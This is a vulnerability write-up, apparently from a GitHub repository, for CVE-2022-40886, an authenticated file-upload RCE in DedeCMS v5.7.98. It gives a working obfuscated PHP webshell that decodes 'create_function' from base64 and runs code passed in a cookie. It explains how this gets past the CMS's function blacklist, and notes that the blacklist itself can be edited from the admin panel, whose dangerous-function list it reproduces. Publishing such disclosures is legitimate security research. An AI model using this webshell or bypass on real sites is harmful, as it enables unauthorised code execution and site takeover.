

master

...

Vulnerability / DedecMS / 5.7.98 / DedecMS-v5.7.98-RCE.md



Ephemeral1y Update DedecMS-v5.7.98-RCE.md

History

1 contributor

76 lines (57 sloc) | 3.04 KB

...

DedecMS v5.7.98 RCE

Dedecms official website: <https://www.dedecms.com/download>

Vulnerability Description

The dedecms v5.7.98 has a file upload function in the background, which can write malicious code to bypass detection and cause RCE vulnerabilities.

- CVE-2022-40886
- Affected product: DedecMS V5.7.98
- Attack type: Remote
- Affected component: /dede/file_manage_control.php

Recurrence Process

Visit /dede to login to the website background.



Upload the file below.

shell.php

```
<?php
$a = "Y3JlYXRlX2Z1bmN0aW9u";
$b = base64_decode($a);
$c = $_COOKIE['hello'] . ' ';
$b(' ', $c)();
```

Upload success.

favicon.ico	16.5 KB
 index.php	1.3 KB
 shell.php	0.1 KB
 tags.php	0.9 KB
 license.txt	3.3 KB
 robots.txt	0.4 KB
[根目录] [新建文件] [新建目录] [文件上传] [空间检查]	

Visit `shell.php` to get the webshell.

`$cfg_disable_funs` defines a blacklist. When characters in the file content match the blacklist, they will be blocked. But this can be bypassed by coding in some way.

`create_function` is a PHP function, which create an anonymous (lambda-style) function. This callback function is in the blacklist, but we can assign it to a variable using base64 coding, and execute the function through the variable name.

`_GET` , `_POST` , `_REQUEST` are in the blacklist, so we can use `_COOKIE` to bypass.

By splicing the two together, we get the final payload.

In addition, the function blacklist of the blacklist can be modified in the background. We can also get shell in this way.

1. Click the System

2. Click the basic parameters of the system

3. Click other options

4. Change the blacklist

参数说明	参数值	变量名
模板引擎禁用PHP函数:	phpinfo, eval, assert, passthru, shell_exec, system, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source, file_put_contents, fsockopen, fopen, fwrite, preg_replace	<code>\$cfg_disable_funs</code>
模板引擎禁用标签:	php	<code>\$cfg_disable_tags</code>
自动摘要长度 (0-255, 0表示不启用):	240	<code>\$cfg_wzt_description</code>
远程图片本地化:	<input checked="" type="radio"/> 是 <input type="radio"/> 否	<code>\$cfg_wzt_remote</code>
静态非站内链接:	<input checked="" type="radio"/> 是 <input type="radio"/> 否	<code>\$cfg_wzt_dallink</code>
提取第一张图片作为缩略图:	<input checked="" type="radio"/> 是 <input type="radio"/> 否	<code>\$cfg_wzt_nutopic</code>
自动提取关键字:	<input checked="" type="radio"/> 是 <input type="radio"/> 否	<code>\$cfg_wzt_keywords</code>
文档标题最大长度	60	<code>\$cfg_title_maxlen</code>
次此参数后需要手工修改数据表:		
发布文档时是否检测重复标题:	<input checked="" type="radio"/> 是 <input type="radio"/> 否	<code>\$cfg_check_title</code>
跳转网址是否做跳转? (否则显示中网页):	<input checked="" type="radio"/> 是 <input type="radio"/> 否	<code>\$cfg_jump_noe</code>
系统计划任务客户端许可密钥 (需要客户端, 请填入客户端密钥):		<code>\$cfg_task_key</code>
附件目录是否按二级目录二级域名:	<input type="radio"/> 是 <input checked="" type="radio"/> 否	<code>\$cfg_attach_domainkind</code>
附件目录的二级域名:		<code>\$cfg_attach_domain</code>
默认责任编辑 (dutysadmin):	admin	<code>\$cfg_dutysadmin</code>
是否为禁用目录为文档文件名	<input checked="" type="radio"/> 是 <input type="radio"/> 否	<code>\$cfg_wzt_dirname</code>
文档命名规则(默认: {typeid}/{aid}/index.html):	~1	<code>\$cfg_wzt_click</code>
文档默认点击数 (-1表示随机50-200):	2	<code>\$cfg_replace_num</code>
文档内容同一关键词替换次数 (0为全部替换):	0	<code>\$cfg_replace_total</code>
限制一篇文章关键词类型总数 (当一篇文章关键词类型过多可以开此功能, 选此功能可能影响性能, 0不开启):		